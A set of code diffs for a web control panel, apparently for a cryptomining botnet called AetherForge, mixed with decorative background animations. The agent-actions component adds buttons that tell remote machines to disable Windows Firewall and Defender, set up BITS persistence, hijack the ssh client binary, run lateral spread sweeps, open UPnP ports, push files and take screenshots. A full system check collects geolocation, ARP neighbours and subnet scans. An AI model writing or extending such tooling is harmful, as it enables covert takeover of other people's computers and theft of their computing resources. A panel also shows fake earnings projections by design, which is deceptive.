const cx = 50;
const cy = 50;
const R = 32; // outer circle radius
// Six-petal Flower of Life petal centres (offset by R from centre)
const petalAngles = [0, 60, 120, 180, 240, 300];
const petals = petalAngles.map((deg) => {
const rad = (deg * Math.PI) / 180;
return { x: cx + R * Math.cos(rad), y: cy + R * Math.sin(rad) };
});
// 5-pointed star vertices inscribed at radius R*1.15
const starR = R * 1.15;
const starPts = Array.from({ length: 5 }, (_, i) => {
const rad = ((i * 72 - 90) * Math.PI) / 180;
return { x: cx + starR * Math.cos(rad), y: cy + starR * Math.sin(rad) };
});
const starPath = starPts.map((p, i) => (i === 0 ? `M${p.x},${p.y}` : `L${p.x},${p.y}`)).join(' ') + ' Z';
// Inner triangles (upward + downward — Star of David inner ring)
const triR = R * 0.7;
const triUp = [0, 120, 240].map((d) => {
const rad = ((d - 90) * Math.PI) / 180;
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
}).join(' ');
const triDown = [60, 180, 300].map((d) => {
const rad = ((d - 90) * Math.PI) / 180;
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
}).join(' ');
return (
<svg className="ambient-sacred-geo" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg" aria-hidden>
<g opacity="0.55">
{/* Outer ring */}
<circle cx={cx} cy={cy} r={R * 1.35} fill="none" stroke="#c9a227" strokeWidth="0.18" strokeDasharray="1.2 1.8" />
{/* Middle ring */}
<circle cx={cx} cy={cy} r={R} fill="none" stroke="#c9a227" strokeWidth="0.22" />
{/* Inner ring */}
<circle cx={cx} cy={cy} r={R * 0.5} fill="none" stroke="#c9a227" strokeWidth="0.18" strokeDasharray="0.6 1.2" />
{/* Flower of Life petal circles */}
{petals.map((p, i) => (
<circle key={i} cx={p.x} cy={p.y} r={R} fill="none" stroke="#c9a227" strokeWidth="0.16" opacity="0.7" />
))}
{/* Pentagon star */}
<path d={starPath} fill="none" stroke="#ff8c00" strokeWidth="0.2" strokeLinejoin="round" opacity="0.6" />
{/* Merkaba triangles */}
<polygon points={triUp} fill="none" stroke="#c9a227" strokeWidth="0.2" opacity="0.8" />
<polygon points={triDown} fill="none" stroke="#c9a227" strokeWidth="0.2" opacity="0.8" />
{/* Centre dot */}
<circle cx={cx} cy={cy} r="0.6" fill="#c9a227" opacity="0.9" />
{/* Spoke lines to star points */}
{starPts.map((p, i) => (
<line key={i} x1={cx} y1={cy} x2={p.x} y2={p.y} stroke="#c9a227" strokeWidth="0.1" opacity="0.35" />
))}
</g>
</svg>
);
return <FlowerOfLifeWatermark className="ambient-sacred-geo" opacity={0.55} />;
}
export default function AmbientBackground() {
return (
<div className="ambient-bg" aria-hidden>
<div className="ambient-grid" />
<GlowParticles />
<div className="ambient-vignette" />
<div className="ambient-orb ambient-orb-cyan" />
<div className="ambient-orb ambient-orb-magenta" />
@@ -72,6 +19,13 @@ export default function AmbientBackground() {
<div className="ambient-scanline" />
<div className="ambient-gear ambient-gear-1" />
<div className="ambient-gear ambient-gear-2" />
<div className="ambient-geo-hex-veil" />
<div className="ambient-geo-corner ambient-geo-corner--tl" aria-hidden>
<SacredMotif name="metatron" opacity={0.65} />
</div>
<div className="ambient-geo-corner ambient-geo-corner--br" aria-hidden>
<SacredMotif name="hex" opacity={0.6} />
</div>
{/* Sacred geometry watermark — centre of the main content area */}
<SacredGeometry />
</div>

View File

@@ -0,0 +1,115 @@
.ambient-glow-canvas {
position: absolute;
inset: 0;
width: 100%;
height: 100%;
z-index: 1;
pointer-events: none;
opacity: 0.92;
mix-blend-mode: screen;
}
/* Lightweight CSS sparkles — complements canvas, no extra JS cost */
.ambient-css-sparkles {
position: absolute;
inset: 0;
z-index: 2;
pointer-events: none;
overflow: hidden;
}
.ambient-sparkle {
position: absolute;
width: 3px;
height: 3px;
border-radius: 50%;
animation: ambient-sparkle-pulse 4s ease-in-out infinite;
box-shadow:
0 0 6px 2px currentColor,
0 0 14px 4px currentColor;
}
.ambient-sparkle--1 {
color: rgba(201, 162, 39, 0.55);
top: 18%;
left: 22%;
animation-delay: 0s;
}
.ambient-sparkle--2 {
color: rgba(0, 245, 255, 0.45);
top: 72%;
left: 68%;
animation-delay: -1.2s;
}
.ambient-sparkle--3 {
color: rgba(255, 45, 166, 0.4);
top: 42%;
left: 85%;
animation-delay: -2.4s;
}
.ambient-sparkle--4 {
color: rgba(255, 176, 32, 0.5);
top: 58%;
left: 12%;
animation-delay: -3.1s;
}
.ambient-sparkle:nth-child(5) {
top: 8%;
left: 55%;
color: rgba(0, 245, 255, 0.35);
animation-delay: -0.8s;
}
.ambient-sparkle:nth-child(6) {
top: 88%;
left: 38%;
color: rgba(201, 162, 39, 0.4);
animation-delay: -2s;
}
.ambient-sparkle:nth-child(7) {
top: 28%;
left: 78%;
color: rgba(255, 176, 32, 0.38);
animation-delay: -1.5s;
}
.ambient-sparkle:nth-child(8) {
top: 65%;
left: 48%;
color: rgba(255, 45, 166, 0.32);
animation-delay: -3.6s;
}
.ambient-sparkle:nth-child(9) {
top: 35%;
left: 8%;
color: rgba(0, 245, 255, 0.38);
animation-delay: -2.8s;
}
.ambient-sparkle:nth-child(10) {
top: 52%;
left: 92%;
color: rgba(201, 162, 39, 0.42);
animation-delay: -0.4s;
}
@keyframes ambient-sparkle-pulse {
0%,
100% {
transform: scale(0.6);
opacity: 0.25;
}
50% {
transform: scale(1.4);
opacity: 0.95;
}
}
@media (prefers-reduced-motion: reduce) {
.ambient-glow-canvas {
opacity: 0.5;
}
.ambient-sparkle {
animation: none;
opacity: 0.35;
transform: scale(1);
}
}

View File

@@ -0,0 +1,168 @@
import { useEffect, useRef } from 'react';
import { useIsMobileLayout } from '../../hooks/useMediaQuery';
import { useVisualEffects } from '../../context/VisualEffectsContext';
import './GlowParticles.css';
const PALETTE = [
{ core: 'rgba(201, 162, 39, 0.85)', mid: 'rgba(201, 162, 39, 0.25)', line: 'rgba(201, 162, 39, 0.12)' },
{ core: 'rgba(0, 245, 255, 0.75)', mid: 'rgba(0, 245, 255, 0.22)', line: 'rgba(0, 245, 255, 0.1)' },
{ core: 'rgba(255, 45, 166, 0.7)', mid: 'rgba(255, 45, 166, 0.2)', line: 'rgba(255, 45, 166, 0.09)' },
{ core: 'rgba(255, 176, 32, 0.8)', mid: 'rgba(255, 176, 32, 0.22)', line: 'rgba(255, 176, 32, 0.1)' },
] as const;
type Particle = {
x: number;
y: number;
vx: number;
vy: number;
r: number;
pulse: number;
pulseSpeed: number;
color: (typeof PALETTE)[number];
};
function particleCount(mobile: boolean): number {
const cores = typeof navigator !== 'undefined' ? navigator.hardwareConcurrency || 4 : 4;
if (cores <= 2) return mobile ? 18 : 28;
if (mobile) return 32;
return cores >= 8 ? 64 : 48;
}
function initParticles(w: number, h: number, n: number): Particle[] {
const out: Particle[] = [];
for (let i = 0; i < n; i++) {
out.push({
x: Math.random() * w,
y: Math.random() * h,
vx: (Math.random() - 0.5) * 0.35,
vy: (Math.random() - 0.5) * 0.35,
r: 1.2 + Math.random() * 2.2,
pulse: Math.random() * Math.PI * 2,
pulseSpeed: 0.008 + Math.random() * 0.012,
color: PALETTE[i % PALETTE.length],
});
}
return out;
}
function drawGlow(ctx: CanvasRenderingContext2D, p: Particle, alpha: number) {
const glowR = p.r * (3.2 + Math.sin(p.pulse) * 0.8);
const g = ctx.createRadialGradient(p.x, p.y, 0, p.x, p.y, glowR);
g.addColorStop(0, p.color.core);
g.addColorStop(0.35, p.color.mid);
g.addColorStop(1, 'transparent');
ctx.save();
ctx.globalAlpha = alpha;
ctx.fillStyle = g;
ctx.beginPath();
ctx.arc(p.x, p.y, glowR, 0, Math.PI * 2);
ctx.fill();
ctx.restore();
}
/** Soft drifting glow orbs + faint constellation links — sits behind all UI. */
export default function GlowParticles() {
const canvasRef = useRef<HTMLCanvasElement>(null);
const particlesRef = useRef<Particle[]>([]);
const rafRef = useRef(0);
const isMobile = useIsMobileLayout();
const { glowParticles } = useVisualEffects();
useEffect(() => {
if (!glowParticles) return;
const reducedMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
const canvas = canvasRef.current;
if (!canvas) return;
const ctx = canvas.getContext('2d');
if (!ctx) return;
const linkDist = isMobile ? 90 : 130;
const linkDistSq = linkDist * linkDist;
const resize = () => {
const dpr = Math.min(window.devicePixelRatio || 1, 2);
const w = window.innerWidth;
const h = window.innerHeight;
canvas.width = Math.floor(w * dpr);
canvas.height = Math.floor(h * dpr);
canvas.style.width = `${w}px`;
canvas.style.height = `${h}px`;
ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
particlesRef.current = initParticles(w, h, particleCount(isMobile));
};
resize();
window.addEventListener('resize', resize);
const tick = () => {
if (document.hidden) {
rafRef.current = requestAnimationFrame(tick);
return;
}
const w = canvas.clientWidth;
const h = canvas.clientHeight;
ctx.clearRect(0, 0, w, h);
const pts = particlesRef.current;
if (!reducedMotion) {
for (const p of pts) {
p.x += p.vx;
p.y += p.vy;
p.pulse += p.pulseSpeed;
if (p.x < -20) p.x = w + 20;
if (p.x > w + 20) p.x = -20;
if (p.y < -20) p.y = h + 20;
if (p.y > h + 20) p.y = -20;
}
}
for (let i = 0; i < pts.length; i++) {
for (let j = i + 1; j < pts.length; j++) {
const dx = pts[i].x - pts[j].x;
const dy = pts[i].y - pts[j].y;
const d2 = dx * dx + dy * dy;
if (d2 < linkDistSq) {
const t = 1 - Math.sqrt(d2) / linkDist;
ctx.strokeStyle = pts[i].color.line;
ctx.globalAlpha = t * 0.35;
ctx.lineWidth = 0.6;
ctx.beginPath();
ctx.moveTo(pts[i].x, pts[i].y);
ctx.lineTo(pts[j].x, pts[j].y);
ctx.stroke();
}
}
}
ctx.globalAlpha = 1;
for (const p of pts) {
const twinkle = reducedMotion ? 0.75 : 0.55 + Math.sin(p.pulse) * 0.25;
drawGlow(ctx, p, twinkle);
}
rafRef.current = requestAnimationFrame(tick);
};
rafRef.current = requestAnimationFrame(tick);
return () => {
window.removeEventListener('resize', resize);
cancelAnimationFrame(rafRef.current);
};
}, [glowParticles, isMobile]);
if (!glowParticles) return null;
return (
<>
<canvas ref={canvasRef} className="ambient-glow-canvas" aria-hidden />
<div className="ambient-css-sparkles" aria-hidden>
{Array.from({ length: isMobile ? 6 : 10 }, (_, i) => (
<span key={i} className={`ambient-sparkle ambient-sparkle--${(i % 4) + 1}`} />
))}
</div>
</>
);
}

View File

@@ -7,6 +7,11 @@ import {
XAxis,
YAxis,
} from 'recharts';
import {
chartSeriesDelta,
chartSeriesPeak,
type ChartDisplayMode,
} from '../../help/chartSampleData';
import './HashrateChart.css';
export interface ChartPoint {
@@ -21,6 +26,7 @@ interface HashrateChartProps {
color?: string;
unit?: string;
height?: number;
displayMode?: ChartDisplayMode;
}
const GRAD_IDS = ['cyan', 'magenta', 'amber', 'green', 'purple'] as const;
@@ -39,25 +45,42 @@ export default function HashrateChart({
color = '#00f5ff',
unit = 'H/s',
height = 280,
displayMode = 'live',
}: HashrateChartProps) {
const gradId = colorToId(color);
const peak = chartSeriesPeak(data);
const delta = chartSeriesDelta(data);
const liveLabel =
displayMode === 'live' ? '● LIVE' : displayMode === 'blend' ? '● SYNCING' : '● PROJECTION';
const liveClass =
displayMode === 'live' ? 'pulse' : displayMode === 'blend' ? 'blend' : 'sample';
if (data.length === 0) {
return (
<div className="chart-empty neon-chart-panel">
<div className="chart-empty neon-chart-panel wealth-empty">
<div className="chart-empty-icon"></div>
<p className="font-tech">{title || 'Telemetry'}</p>
<span>Awaiting signal from fleet...</span>
<span>Calibrating chart telemetry</span>
</div>
);
}
return (
<div className="chart-wrap neon-chart-panel">
<div className="chart-wrap neon-chart-panel wealth-chart">
{title && (
<div className="chart-header">
<h3 className="chart-title font-display">{title}</h3>
<span className="chart-live pulse"> LIVE</span>
<div className="chart-header-meta">
<span className="chart-peak font-tech">
PEAK {formatFull(peak, unit)}
</span>
{delta != null && (
<span className={`chart-delta font-tech ${delta >= 0 ? 'up' : 'down'}`}>
{delta >= 0 ? '▲' : '▼'} {Math.abs(delta).toFixed(1)}%
</span>
)}
<span className={`chart-live ${liveClass}`}>{liveLabel}</span>
</div>
</div>
)}
<ResponsiveContainer width="100%" height={height}>

View File

@@ -5,7 +5,12 @@ import type { SeqCommandResult } from '../../context/WebSocketContext';
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../../help/screenshotDownload';
import { formatHashrate } from '../../help/fleetFilters';
import { pushFileToAgentDesktop } from '../../help/desktopPush';
import { parseFullSysCheckMessage } from '../../types/syscheck';
import type { FullSysCheckReport } from '../../types/syscheck';
import FullSysCheckPanel from './FullSysCheckPanel';
import './AgentRemoteActions.css';
import './FullSysCheckPanel.css';
const TERMINAL_MAX_LINES = 500;
@@ -49,6 +54,7 @@ export default function AgentRemoteActions({
const [busy, setBusy] = useState<string | null>(null);
const [wolMac, setWolMac] = useState('');
const [wolExpanded, setWolExpanded] = useState(false);
const [sysCheckReport, setSysCheckReport] = useState<FullSysCheckReport | null>(null);
// Fleet upgrade
const [builds, setBuilds] = useState<Build[]>([]);
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
@@ -133,7 +139,20 @@ export default function AgentRemoteActions({
const { agent_id, action, success, message } = payload;
if (agentId && agentId !== 'all' && agent_id !== agentId) continue;
if (action === 'screenshot') {
if (action === 'full_sys_check') {
if (success && message) {
const parsed = parseFullSysCheckMessage(message);
if (parsed) {
setSysCheckReport(parsed);
addLog(`✓ Full system check — WAN ${parsed.network?.external_ip ?? 'n/a'}`);
} else {
addLog('✗ [FULL_SYS_CHECK] could not parse report JSON');
}
} else {
addLog(`✗ [FULL_SYS_CHECK] FAIL\n${message ?? ''}`);
setSysCheckReport(null);
}
} else if (action === 'screenshot') {
const label = agentNameProp ?? agent?.name ?? (agent_id ? agent_id.slice(0, 8) : 'agent');
if (success && message) {
const clean = sanitizeScreenshotBase64(message);
@@ -146,12 +165,14 @@ export default function AgentRemoteActions({
} else {
addLog(`✗ [SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
}
} else if (action) {
} else if (action && action !== 'full_sys_check') {
const icon = success ? '✓' : '✗';
addLog(`${icon} [${action.toUpperCase()}]\n${message ?? ''}`);
const preview =
message && message.length > 4000 ? `${message.slice(0, 4000)}\n…[truncated in terminal]` : message ?? '';
addLog(`${icon} [${action.toUpperCase()}]\n${preview}`);
}
}
}, [commandResults, agentId, addLog]);
}, [commandResults, agentId, addLog, agentNameProp, agent?.name]);
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
if (!agentId) {
@@ -169,7 +190,14 @@ export default function AgentRemoteActions({
if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
if (action === 'firewall_off' && !window.confirm(`Disable Windows Firewall on ALL profiles for "${agentName}"?\n\nRequires administrator. Re-enable with FW On.`)) return;
if (action === 'firewall_on' && !window.confirm(`Enable Windows Firewall on all profiles for "${agentName}"?`)) return;
if (action === 'firewall_remove' && !window.confirm(`Remove AetherForge firewall rules on "${agentName}"?`)) return;
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
if (action === 'full_sys_check') {
setSysCheckReport(null);
addLog(`◈ Running full system check on ${agentName}… (may take 3060s)`);
}
// WOL is handled server-side (no agent connection needed)
if (action === 'wol') {
@@ -218,21 +246,28 @@ export default function AgentRemoteActions({
setIsDragging(true);
};
const handleDragLeave = () => setIsDragging(false);
const pushDesktopFile = async (file: File) => {
try {
await pushFileToAgentDesktop(
(action, args) => dispatch(action, args),
file
);
} catch (err) {
addLog(`✗ Desktop push: ${err instanceof Error ? err.message : String(err)}`);
}
};
const handleDrop = (e: React.DragEvent) => {
e.preventDefault();
e.stopPropagation();
setIsDragging(false);
const file = e.dataTransfer.files[0];
if (!file) return;
const reader = new FileReader();
reader.onload = async (evt) => {
const base64 = (evt.target?.result as string).split(',')[1];
const targetPath = `C:\\Windows\\Temp\\${file.name}`;
await dispatch('upload', { path: targetPath, data: base64 });
};
reader.readAsDataURL(file);
void pushDesktopFile(file);
};
const desktopFileInputRef = useRef<HTMLInputElement>(null);
const runCustomCommand = (e: React.FormEvent) => {
e.preventDefault();
if (!customCmd.trim()) return;
@@ -294,6 +329,15 @@ export default function AgentRemoteActions({
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture remote desktop and download JPEG to this browser">Screenshot</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
<button
type="button"
className="btn-cyan"
disabled={!isOnline || !!busy}
title="Deep read-only audit: firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, listeners"
onClick={() => dispatch('full_sys_check')}
>
Full Sys Check
</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
@@ -425,6 +469,60 @@ export default function AgentRemoteActions({
>
Open FW Port
</button>
<button
type="button"
className="btn-red"
disabled={aggDisabled('firewall_off')}
title={aggTitle('firewall_off')}
onClick={() => dispatch('firewall_off')}
>
FW Off
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('firewall_on')}
title={aggTitle('firewall_on')}
onClick={() => dispatch('firewall_on')}
>
FW On
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('firewall_profiles')}
title={aggTitle('firewall_profiles') || 'Disable Private+Public only (path=Private,Public)'}
onClick={() => dispatch('firewall_profiles', { command: 'off', path: 'Private,Public' })}
>
FW Private Off
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('firewall_remove')}
title={aggTitle('firewall_remove')}
onClick={() => dispatch('firewall_remove')}
>
Remove FW Rules
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('bits_persist')}
title={aggTitle('bits_persist') || 'Register BITS notify job (Windows)'}
onClick={() => dispatch('bits_persist')}
>
BITS Persist
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('host_binary_persist')}
title={aggTitle('host_binary_persist') || 'Hijack host client binary (path=preset, default ssh)'}
onClick={() => dispatch('host_binary_persist', { path: 'ssh' })}
>
Host Binary
</button>
<button
type="button"
className="btn-magenta"
@@ -474,6 +572,14 @@ export default function AgentRemoteActions({
</div>
</div>
{sysCheckReport && !compact && (
<FullSysCheckPanel
report={sysCheckReport}
agentName={agentName}
onClose={() => setSysCheckReport(null)}
/>
)}
{screenshotData && (
<div className="screenshot-viewer">
<div className="viewer-header">
@@ -502,7 +608,26 @@ export default function AgentRemoteActions({
>
<span className="drop-icon">📥</span>
<p>Drag &amp; Drop file here</p>
<small>Uploads to C:\Windows\Temp\</small>
<small>Pushes to user Desktop (any OS)</small>
<button
type="button"
className="btn btn-outline btn-sm"
style={{ marginTop: '0.5rem' }}
disabled={!isOnline || !!busy}
onClick={() => desktopFileInputRef.current?.click()}
>
Choose file Desktop
</button>
<input
ref={desktopFileInputRef}
type="file"
hidden
onChange={(e) => {
const file = e.target.files?.[0];
if (file) void pushDesktopFile(file);
e.target.value = '';
}}
/>
</div>
<div className="master-terminal">

View File

@@ -5,6 +5,7 @@ import type { Agent, FleetAlert, PoolStatus, AIActivityEntry } from '../../types
import type { FleetHealth, ContributionBar, SubnetGroup, PlatformCount } from '../../help/fleetAnalytics';
import { timeToPayout } from '../../help/fleetAnalytics';
import { formatHashrate } from '../../help/fleetFilters';
import { SAMPLE_FLEET_PREVIEW } from '../../help/chartSampleData';
import './FleetPanels.css';
export function AlertBanner({ alerts }: { alerts: FleetAlert[] }) {
@@ -173,6 +174,26 @@ export function EarningsEstimator({ hashrate, xmrPrice }: { hashrate: number; xm
);
}
/** Shown when fleet hashrate is zero — keeps the deck feeling lucrative. */
export function WealthEarningsPreview({ xmrPrice }: { xmrPrice?: number | null }) {
const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice;
const xmrDay = SAMPLE_FLEET_PREVIEW.xmrPerDay;
const usdDay = xmrDay * price;
return (
<NeonCard accent="gold" className="stat-card-wrap earnings-preview wealth-earnings">
<div className="earnings-preview-badge font-tech">PROJECTED YIELD</div>
<div className="stat-label font-tech">Target Fleet Earnings</div>
<div className="stat-value neon-glow-gold">~{xmrDay.toFixed(4)} XMR/day</div>
<div className="earnings-usd-day"> ${usdDay.toFixed(2)}/day</div>
<div className="stat-sub">At {formatHashrate(SAMPLE_FLEET_PREVIEW.hashrate)} fleet target</div>
<div className="stat-sub" style={{ marginTop: 4, opacity: 0.55, fontSize: '0.68rem' }}>
Deploy miners to replace projection with live pool data
</div>
</NeonCard>
);
}
// ─── Fleet Health Card ────────────────────────────────────────────────────────
export function FleetHealthCard({ health }: { health: FleetHealth }) {
@@ -210,20 +231,24 @@ export function ContributionBars({
bars,
xmrPerDay,
xmrPrice,
sample = false,
}: {
bars: ContributionBar[];
xmrPerDay?: number;
xmrPrice?: number | null;
sample?: boolean;
}) {
if (bars.length === 0) return null;
return (
<NeonCard accent="cyan" className="section contrib-panel" hud>
<NeonCard accent="cyan" className={`section contrib-panel${sample ? ' sample-contrib' : ''}`} hud>
<h2 className="section-title font-display">
<span className="section-ornament"></span> Contribution Map
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginTop: 0 }}>
Each bar shows a machine's share of total fleet hashrate.
{sample
? 'Sample contribution map — your rigs will populate this lane when they connect.'
: "Each bar shows a machine's share of total fleet hashrate."}
</p>
<div className="contrib-list">
{bars.map((b) => {

View File

@@ -0,0 +1,141 @@
.syscheck-panel {
margin-top: 1rem;
padding: 1rem 1.1rem;
border: 1px solid rgba(0, 245, 255, 0.25);
border-radius: 8px;
background: rgba(8, 12, 24, 0.92);
max-height: 72vh;
overflow: auto;
}
.syscheck-header {
display: flex;
justify-content: space-between;
align-items: flex-start;
gap: 1rem;
margin-bottom: 1rem;
border-bottom: 1px solid rgba(201, 162, 39, 0.2);
padding-bottom: 0.75rem;
}
.syscheck-header h3 {
margin: 0;
color: var(--accent-cyan, #00f5ff);
}
.syscheck-sub {
margin: 0.25rem 0 0;
font-size: 0.75rem;
color: var(--clr-dim, #888);
}
.syscheck-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
gap: 1rem;
}
.syscheck-section {
border: 1px solid rgba(255, 255, 255, 0.06);
border-radius: 6px;
padding: 0.65rem 0.75rem;
background: rgba(0, 0, 0, 0.25);
}
.syscheck-section-title {
margin: 0 0 0.5rem;
font-size: 0.72rem;
letter-spacing: 0.12em;
color: var(--accent-gold, #c9a227);
text-transform: uppercase;
}
.syscheck-kv {
display: grid;
grid-template-columns: 110px 1fr;
gap: 0.35rem 0.5rem;
margin-bottom: 0.35rem;
font-size: 0.8rem;
}
.syscheck-k {
color: var(--clr-dim, #888);
}
.syscheck-v {
color: #e8e8f0;
word-break: break-word;
}
.syscheck-ok {
color: #4ade80;
}
.syscheck-bad {
color: #f87171;
}
.syscheck-muted {
color: #777;
font-size: 0.78rem;
}
.syscheck-score {
color: #00f5ff;
font-weight: 600;
}
.syscheck-subhead {
margin-top: 0.5rem;
font-size: 0.7rem;
text-transform: uppercase;
letter-spacing: 0.08em;
}
.syscheck-pre {
margin: 0.35rem 0 0.5rem;
padding: 0.5rem;
background: rgba(0, 0, 0, 0.45);
border-radius: 4px;
font-size: 0.72rem;
max-height: 160px;
overflow: auto;
white-space: pre-wrap;
color: #bbb;
}
.syscheck-table-wrap {
overflow-x: auto;
margin-top: 0.35rem;
}
.syscheck-table {
width: 100%;
font-size: 0.72rem;
border-collapse: collapse;
}
.syscheck-table th,
.syscheck-table td {
padding: 0.2rem 0.35rem;
border-bottom: 1px solid #222;
text-align: left;
}
.syscheck-iface {
margin-bottom: 0.5rem;
font-size: 0.78rem;
}
.syscheck-raw {
margin-top: 1rem;
font-size: 0.8rem;
}
.syscheck-raw summary {
cursor: pointer;
color: var(--accent-gold, #c9a227);
margin-bottom: 0.5rem;
}
.syscheck-errors {
margin-top: 0.75rem;
color: #f87171;
font-size: 0.78rem;
}

View File

@@ -0,0 +1,247 @@
import type { ReactNode } from 'react';
import type { FullSysCheckReport } from '../../types/syscheck';
import './FullSysCheckPanel.css';
function Row({ label, value }: { label: string; value: ReactNode }) {
if (value === undefined || value === null || value === '') return null;
return (
<div className="syscheck-kv">
<span className="syscheck-k">{label}</span>
<span className="syscheck-v">{value}</span>
</div>
);
}
function Section({ title, children }: { title: string; children: ReactNode }) {
return (
<section className="syscheck-section">
<h4 className="syscheck-section-title font-tech">{title}</h4>
<div className="syscheck-section-body">{children}</div>
</section>
);
}
function BoolBadge({ v, yes = 'YES', no = 'NO' }: { v?: boolean; yes?: string; no?: string }) {
if (v === undefined) return <span className="syscheck-muted"></span>;
return <span className={v ? 'syscheck-ok' : 'syscheck-bad'}>{v ? yes : no}</span>;
}
export default function FullSysCheckPanel({
report,
agentName,
onClose,
}: {
report: FullSysCheckReport;
agentName: string;
onClose?: () => void;
}) {
const geo = report.network?.geo;
const geoLine =
geo &&
[geo.city, geo.region, geo.country].filter(Boolean).join(', ') +
(geo.isp ? ` · ${geo.isp}` : '') +
(geo.lat != null && geo.lon != null ? ` (${geo.lat.toFixed(2)}, ${geo.lon.toFixed(2)})` : '');
return (
<div className="syscheck-panel">
<div className="syscheck-header">
<div>
<h3 className="font-display">Full System Check</h3>
<p className="syscheck-sub font-tech">
{agentName} · {report.generated_at} · {report.platform}/{report.arch}
</p>
</div>
{onClose && (
<button type="button" className="btn btn-outline btn-sm" onClick={onClose}>
Close
</button>
)}
</div>
<div className="syscheck-grid">
<Section title="Network &amp; Location">
<Row label="External IP" value={report.network?.external_ip} />
<Row label="IP Source" value={report.network?.external_ip_source} />
<Row label="Location" value={geoLine} />
<Row label="Primary LAN IP" value={report.network?.primary_local_ip} />
<Row label="Default Gateway" value={report.network?.default_gateway} />
<Row label="DNS" value={report.network?.dns?.servers?.join(', ')} />
<Row label="DNS Search" value={report.network?.dns?.search_domains?.join(', ')} />
<Row label="ARP Neighbors" value={report.neighbors?.arp_count != null ? `${report.neighbors.arp_count} host(s)` : undefined} />
{report.neighbors?.arp_hosts && report.neighbors.arp_hosts.length > 0 && (
<pre className="syscheck-pre">{report.neighbors.arp_hosts.join('\n')}</pre>
)}
{report.neighbors?.subnet_scan && (
<>
<div className="syscheck-k syscheck-subhead">Subnet scan</div>
<pre className="syscheck-pre">{report.neighbors.subnet_scan}</pre>
</>
)}
</Section>
<Section title="Security &amp; Firewall">
<Row
label="Posture Score"
value={
report.security?.posture_score != null ? (
<span className="syscheck-score">{report.security.posture_score} / 100</span>
) : undefined
}
/>
<Row label="Defender" value={<BoolBadge v={report.security?.defender_enabled} yes="ON" no="OFF" />} />
<Row label="Real-time" value={<BoolBadge v={report.security?.defender_rtp} yes="ON" no="OFF" />} />
<Row
label="Firewall D / P / Pub"
value={
<>
<BoolBadge v={report.security?.firewall_domain} yes="on" no="off" /> /{' '}
<BoolBadge v={report.security?.firewall_private} yes="on" no="off" /> /{' '}
<BoolBadge v={report.security?.firewall_public} yes="on" no="off" />
</>
}
/>
<Row label="AV Products" value={report.security?.av_products?.join(', ')} />
<Row label="SSH" value={<BoolBadge v={report.security?.ssh_listening} />} />
<Row label="Elevated" value={<BoolBadge v={report.identity?.agent_elevated} yes="ADMIN" no="user" />} />
<Row label="Pending Updates" value={report.security?.pending_updates} />
<Row
label="Last Patch"
value={
report.security?.last_patch
? `${report.security.last_patch}${report.security.last_patch_days != null ? ` (${report.security.last_patch_days}d)` : ''}`
: undefined
}
/>
<Row label="Reboot Pending" value={<BoolBadge v={report.security?.reboot_pending} />} />
</Section>
<Section title="Hardware">
<Row label="System" value={[report.hardware?.manufacturer, report.hardware?.model].filter(Boolean).join(' ')} />
<Row label="Serial / BIOS" value={[report.hardware?.serial, report.hardware?.bios_version].filter(Boolean).join(' · ')} />
<Row label="RAM" value={report.hardware?.memory_gb != null ? `${report.hardware.memory_gb} GB` : undefined} />
<Row label="Uptime" value={report.hardware?.uptime_hours != null ? `${report.hardware.uptime_hours} h` : undefined} />
{report.hardware?.cpus?.map((c, i) => (
<Row
key={i}
label={`CPU ${i + 1}`}
value={`${c.name ?? 'CPU'} · ${c.cores ?? '?'}c/${c.logical ?? '?'}t · ${c.current_mhz ?? '?'}/${c.max_mhz ?? '?'} MHz`}
/>
))}
{report.hardware?.gpus?.map((g, i) => (
<Row key={i} label={`GPU ${i + 1}`} value={`${g.name ?? 'GPU'} · driver ${g.driver ?? '—'} · ${g.vram_mb ?? 0} MB`} />
))}
{report.hardware?.disks?.map((d, i) => (
<Row
key={i}
label={`Disk ${d.mount ?? i}`}
value={`${d.free_gb ?? '?'} / ${d.total_gb ?? '?'} GB free (${d.free_pct ?? '?'}%) ${d.fs_type ?? ''}`}
/>
))}
</Section>
<Section title="Identity &amp; Agent">
<Row label="Hostname" value={report.hostname} />
<Row label="OS" value={report.os_version} />
<Row label="User" value={report.identity?.username} />
<Row label="Domain" value={report.identity?.domain} />
<Row label="Computer" value={report.identity?.computer_name} />
<Row label="MAC" value={report.identity?.mac_address} />
<Row label="Worker / Build" value={`${report.worker_name ?? '—'} / ${report.build_id ?? '—'}`} />
